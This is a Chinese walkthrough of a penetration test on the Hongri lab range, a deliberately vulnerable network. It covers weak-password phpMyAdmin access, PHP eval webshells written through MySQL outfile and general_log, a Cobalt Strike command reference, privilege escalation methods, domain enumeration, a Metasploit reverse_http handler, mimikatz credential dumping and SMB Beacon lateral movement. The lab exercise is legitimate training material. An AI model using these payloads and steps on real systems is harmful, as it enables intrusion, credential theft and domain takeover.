记录某靶场内网渗透过程

记录一下红日靶场内网渗透的过程

下载红日安全团队的靶场–>下载链接

第一步:下载并解压到一个文件夹内

img

第二步、使用VM虚拟机分别添加三个虚拟机,并调整一下网络适配器,使得Win7和其他两个同属于一个局域网,而且Win7可以访问外网。

Win7 img
Win2003和Win2008 img

第三步、启动三个虚拟机,密码都是hongrisec@2019,登录必须修改密码可以改为Qq123456,启动Win7的PHPstudy

img

查看三个虚拟机的ip地址

Win7:外网192.168.193.131   内网:192.168.52.143(可以ping通其他两个)

Win2008:192.168.52.138

Win2004:192.168.52.141

img

第四步、外网渗透

1、信息收集,目录扫描

img

找到备份文件和phpmyadmin登录界面,到这里可以选择备份的代码审计或者phpmyadmin的nday利用和密码爆破

img

我是利用弱口令,账号密码都是root,进入后台进行mysql的getshell

1``、查询是否有写入条件:``  ``show VARIABLES like ``'%secure_file_priv%'` `=``=` `null 则没有条件,换成日志写入 (secure_file_priv值可在mysql中的my.ini中修改)``  ``show ``global` `variables like ``"secure%"` `也可以查询<br>``2``、 select @@basedir;  查看物理路径``3``、当具备条件时,写入一句话文件:``  ``select ``'<?php eval($_POST["pwd"]); ?>'` `into outfile ``'C:/phpStudy/WWW/shell.php'``;`` ` `4``、查看日志开启状态<br>  show variables like ``'%general%'``; 查看日志状态<br>  ``SET` `GLOBAL general_log``=``'on'``  开启日志<br>  ``SET` `GLOBAL general_log_file``=``'C:/phpStudy/www/shell.php'``  指定日志文件<br>  SELECT ``'<?php eval($_POST["cmd"]);?>'``  木马写到日志里
进入后台 img
查看写入权限(NULL 无权限) img
查看物理地址(C:/phpStudy/MySQL) img
查看日志状态(OFF) img
开启日志(ON) img
指定日志文件(shell.php) img
木马写到日志里(密码:cmd) img
查看日志(这时候木马已经写到了shell.php里面能够解析) img
上菜刀 img

第五步、内网渗透

上线的话一般使用MSF或者Cobalts Strike,我比较喜欢用CS

CS常用命令

argue          匹配进程的欺骗参数``audit_uac       审查关于bypass uac 的方法``blockdlls        在子进程中阻止非Microsoft DLL``browserpivot    设置浏览器透视会话``cancel         取消正在进行的下载``cd            更改目录``checkin        呼叫总部并发布数据``clear          清除信标队列``connect       通过TCP连接到信标对等方``covertvpn      部署隐蔽VPN客户端``cp            复制文件``dcsync        从DC中提取密码哈希``desktop       查看目标的桌面并与之交互``dllinject       将反射DLL注入进程``dllload        使用LoadLibrary()将DLL加载到进程中``download     下载文件``downloads     列出正在进行的文件下载``drives         列出目标上的驱动器``elevate        在提升的上下文中生成会话``execute        在目标上执行程序(无输出)``execute``-``assembly   在目标上的内存中执行本地.NET程序``exit              终止信标会话``getprivs           在当前令牌上启用系统权限``getsystem        尝试获取系统``getuid           获取用户``ID``hashdump        转储密码哈希``help`             `帮助菜单``inject            在特定进程中生成会话``jobkill            杀死长时间运行的利用后任务``jobs             列出长期运行的利用后任务``jump              在远程主机上生成会话``kerberos_ccache_use   将kerberos票证从缓存应用到此会话``kerberos_ticket_purge   从此会话中清除kerberos票证``kerberos_ticket_use     将kerberos票证应用于此会话``keylogger            将击键记录器注入进程``kill                  终止进程``link                 通过命名管道连接到信标对等点``logonpasswords        使用mimikatz转储凭据和哈希``ls                  列出文件``make_token          创建令牌以传递凭据``mimikatz             运行mimikatz命令``mkdir                制作目录``mode dns            使用DNS A作为数据通道(仅DNS信标)``mode dns``-``txt         使用DNS TXT作为数据通道(仅DNS信标``mode dns6           使用DNS AAAA作为数据通道(仅DNS信标)``mv                 移动文件``net                 网络和主机枚举工具``note                为该信标指定一个注释``portscan             扫描网络中的开放服务``powerpick           通过非托管PowerShell执行命令``powershell           通过powershell.exe执行命令``powershell``-``import`     `导入powershell脚本``ppid                为衍生的事后交货作业设置父PID``ps                 显示进程列表``psinject             在特定进程中执行PowerShell命令``pth                使用Mimikatz传递散列``pwd                打印当前目录``reg                 查询注册表``remote``-``exec`          `在远程主机上运行命令``rev2self             还原为原始令牌``rm                 删除文件或文件夹``rportfwd           设置反向端口前进``run               在目标上执行程序(返回输出)``runas             以另一个用户的身份执行程序``runasadmin        在提升的上下文中执行程序``runu              在另一个PID下执行程序``screenshot          截图``setenv            设置环境变量``shell             通过cmd.exe执行命令``shinject          将外壳代码注入进程``shspawn         生成进程并将外壳代码注入其中``sleep            设置信标睡眠时间``socks            启动SOCKS4a服务器以中继流量``socks stop       停止SOCKS4a服务器``spawn          生成会话``spawnas         作为另一个用户生成会话``spawnto         将可执行文件设置为将进程生成到``spawnu          在另一进程下生成会话``ssh             使用SSH在主机上生成SSH会话``ssh``-``key          使用SSH在主机上生成SSH会话``steal_token       从进程中窃取访问令牌``timestomp        将时间戳从一个文件应用到另一个文件``unlink           断开与父信标的连接``upload           上传文件

CS提权:

uac``-``token``-``duplication``是一种绕过uac方式的攻击,吧地权限提高到高权限,利用一个UAC漏洞,允许非提升进程使用提升进程中窃取的令牌来启动,适用于win7` `svc``-``exe``用于提升权限,用法类似getsystem命令` `ms14``-``058``|ms15``-``015``|ms16``-``016``|ms16``-``032``|ms16``-``032``|ms16``-``315``这几种方式都差不多,通过windows的本地提权漏洞来提权` `juicypotato``在cobaltstrike中使用烂土豆来提权,相对可靠` `compmgmt``了解不多,似乎是通过windows的compmgmt去提权` `rottenpotato``从Windows服务帐户到系统的本地权限升级` `uac``-``eventvwr``通过注册表,利用eventvwr.exe 会自动加载我们的exp,这时的eventvwr.exe为高权限,达到提权效果` `uac``-``dll``利用UAC漏洞,把我们的exp生成的dll复制到特定位置来达到提权效果,可绕过UAC` `uac``-``wscript``这是一个empire中的绕过UAC模块,通过利用wscript.exe 去执行payload,以管理员权限去运行payload,只限于win7上使用
上线CS img
CS生成木马 img
上线客户端(没有免杀) imgimg
成功上线 img
截个屏看一下 img
靶机信息收集(shell ipconfig) img img
抓取明文密码 img
提权(svc-exe) img
内网信息收集 net view # 查看局域网内其他主机名 net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user # 查看本机用户列表 net user /domain # 查看域用户 net localgroup administrators # 查看本地管理员组(通常会有域用户) net view /domain # 查看有几个域 net user 用户名 /domain # 获取指定域用户的信息 net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain # 查看域中某工作组 net group “domain admins” /domain # 查看域管理员的名字 net group “domain computers” /domain # 查看域中的其他主机名 net group “doamin controllers” /domain # 查看域控制器主机名(可能有多台)
查看是否存在域存在域(god.org) shell net config Workstation img
查询当前域的个数只有一个 shell net view /domain img
查看域控制器主机名OWA shell net group “domain controllers” /domainimg
查看局域网内其他主机信息 net viewimg
确认一下该主机是否也是存在域中 shell net group “domain computers” /domainimg
开启MSF监听端口 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 121.. set lport 6666 exploit img
CS开启监听 img
新建会话到MSF img
MSF获得shell会话 img
现在两条路 第一:使用MSF的攻击模块来进行横向渗透第二:使用CS来进行横向渗透,添加一些插件我的CS还没有攻击的插件模块,所以使用MSF来攻击域控
查看域控的开放端口 img
445端口可能存在ms17_010永恒之蓝漏洞 img
利用永恒之蓝进行代码执行失败! img
还是用CS来吧可视化切换到目标列表 img
先查一下账户密码logonpasswords img
创建监视器smb img
横向移动 img
横向主机上线 img
同上,内网主机已经全部上线 img
找一下域控主机放的flag img
拓扑透视图 img

总结一下:

外网是一个Yxcms,这个cms存在弱口令文件上传等漏洞,通过弱口令进入PHPMyAdmin,因为没有路径写入权限,然后使用写入日志来写入一句话木马。菜刀连接日志解析的一句话木马,使用Cobalts Strike生成可执行文件上传到网站目录,菜刀进行执行命令语句,上线CS,之后开始内网渗透。

内网渗透首先信息收集,查到了只有一个内域OWA,内域中还有两个主机,其中一个是域控主机。先给当前的跳板提一下权,使用的是svc-exe提权方式。

*接下来目的是横向渗透使用这个Win7作为跳板,拿下内网域内的域成员主机和域控主机,首先使用CS和MSF联动查到开放455端口,打了个永恒之蓝发现失败。拼一下运气,*用CS的SMB Beacon横向渗透*成功*:

简介:SMB Beacon使用命名管道通过父Beacon进行通信。此对等通信与Beacons在同一主机上工作。它也适用于整个网络。Windows在SMB协议中封装命名管道通信,对内网中无法链接公网的机器,SMB Beacon可以通过已控制的边界服务器对其进行控制。

口头语言解释:外网中的A主机与B主机相通且已控制B,B主机可以与内网中的C主机(无法连接公网)相通,但是A主机与C主机不相通,此时就需要在B主机上利用SMB beacon使A和C相通,进而使A主机控制C主机。

使用前提:B能访问到C的SMB端口,拥有SMB的管理员账号密码(一般在B上抓密码去碰撞)
    ①具有SMB Beacon的主机必须接受端口445上的连接。
    ②只能链接由同一Cobalt Strike实例管理的Beacon。

具体步骤:

①获取C的管理员账号密码
    ②创建SMB Listener
    ③使用net use进行利用、验证及创建SMB Beacon

相关推荐

  1. 60渗透之frp实战指南1

    2024-04-08 03:00:04       61 阅读
  2. 渗透简介

    2024-04-08 03:00:04       25 阅读
  3. 60渗透之利用iodine构建专属dns隧道

    2024-04-08 03:00:04       56 阅读
  4. 60渗透之DNS隧道通信初探-dnscat2与C&C

    2024-04-08 03:00:04       57 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-08 03:00:04       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-08 03:00:04       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-08 03:00:04       82 阅读
  4. Python语言-面向对象

    2024-04-08 03:00:04       91 阅读

热门阅读

  1. 查找题(二分解法c++)

    2024-04-08 03:00:04       35 阅读
  2. 474. 一和零(力扣LeetCode)

    2024-04-08 03:00:04       37 阅读
  3. netstat命令

    2024-04-08 03:00:04       32 阅读
  4. 算法刷题记录 Day38

    2024-04-08 03:00:04       35 阅读
  5. 【Wbpack原理】基础流程解析,实现 mini-webpack

    2024-04-08 03:00:04       32 阅读
  6. 3.7ExecutingCommands

    2024-04-08 03:00:04       34 阅读
  7. 【Python小程序】登录系统的简单实现

    2024-04-08 03:00:04       34 阅读
  8. LeetCode 264 丑数II

    2024-04-08 03:00:04       35 阅读
  9. 第4章 地下水开采对区域水均衡要素的影响

    2024-04-08 03:00:04       34 阅读